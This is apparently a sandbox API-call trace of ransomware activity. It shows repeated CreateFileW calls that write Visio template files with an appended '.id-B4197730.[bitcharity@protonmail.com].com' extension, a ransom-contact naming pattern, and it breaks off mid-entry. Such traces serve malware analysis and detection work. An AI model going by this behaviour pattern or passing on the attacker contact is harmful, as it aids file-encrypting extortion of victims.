1 [0276.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGWIZ_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgwiz_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.442] CloseHandle (hObject=0x112c) returned 1 [0276.443] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.443] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGWIZ_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgwiz_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.443] CloseHandle (hObject=0x112c) returned 1 [0276.445] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.445] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PBASLN_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pbasln_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.445] CloseHandle (hObject=0x112c) returned 1 [0276.446] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.446] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PBASLN_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pbasln_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.446] CloseHandle (hObject=0x112c) returned 1 [0276.447] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.447] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PBLANK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pblank_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.447] CloseHandle (hObject=0x112c) returned 1 [0276.448] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.448] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PBLANK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pblank_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.448] CloseHandle (hObject=0x112c) returned 1 [0276.449] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.450] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PCRTSK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pcrtsk_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.450] CloseHandle (hObject=0x112c) returned 1 [0276.451] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.451] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PCRTSK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pcrtsk_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.451] CloseHandle (hObject=0x112c) returned 1 [0276.452] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.452] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PCSHFL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pcshfl_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.452] CloseHandle (hObject=0x112c) returned 1 [0276.453] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.453] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PCSHFL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pcshfl_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.453] CloseHandle (hObject=0x112c) returned 1 [0276.454] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.454] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEANNT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peannt_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.455] CloseHandle (hObject=0x112c) returned 1 [0276.455] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.456] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEANNT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peannt_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.456] CloseHandle (hObject=0x112c) returned 1 [0276.457] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.457] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEDG_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pedg_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.457] CloseHandle (hObject=0x112c) returned 1 [0276.458] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.458] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEDG_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pedg_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.458] CloseHandle (hObject=0x112c) returned 1 [0276.460] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.460] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEEQP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peeqp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.460] CloseHandle (hObject=0x112c) returned 1 [0276.461] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.461] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEEQP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peeqp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.461] CloseHandle (hObject=0x112c) returned 1 [0276.462] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.462] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEHEAT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peheat_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.462] CloseHandle (hObject=0x112c) returned 1 [0276.463] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.463] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEHEAT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peheat_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.463] CloseHandle (hObject=0x112c) returned 1 [0276.464] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.464] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEINST_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peinst_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.464] CloseHandle (hObject=0x112c) returned 1 [0276.465] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.465] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEINST_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\peinst_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.465] CloseHandle (hObject=0x112c) returned 1 [0276.466] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.466] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPIPE_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepipe_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.467] CloseHandle (hObject=0x112c) returned 1 [0276.468] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.468] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPIPE_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepipe_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.468] CloseHandle (hObject=0x112c) returned 1 [0276.469] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.469] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPIPE_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepipe_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.469] CloseHandle (hObject=0x112c) returned 1 [0276.470] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.470] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPIPE_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepipe_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.471] CloseHandle (hObject=0x112c) returned 1 [0276.472] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.472] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPUMP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepump_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.472] CloseHandle (hObject=0x112c) returned 1 [0276.473] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.473] SetFilePointerEx (in: hFile=0x112c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0276.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PEPUMP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pepump_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.612] CloseHandle (hObject=0x112c) returned 1 [0277.543] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0277.543] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0277.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRSSTS_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prssts_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.572] CloseHandle (hObject=0x11bc) returned 1 [0278.573] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.573] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VEHICL_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vehicl_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.573] CloseHandle (hObject=0x11bc) returned 1 [0278.575] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.575] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VERTICALFLOWCHART_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\verticalflowchart_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.575] CloseHandle (hObject=0x11bc) returned 1 [0278.576] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.576] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VERTICALFLOWCHART_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\verticalflowchart_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.577] CloseHandle (hObject=0x11bc) returned 1 [0278.578] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.578] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VIDSUR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vidsur_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.579] CloseHandle (hObject=0x11bc) returned 1 [0278.580] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.581] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0278.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VIDSUR_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vidsur_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.581] CloseHandle (hObject=0x11bc) returned 1 [0278.582] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: 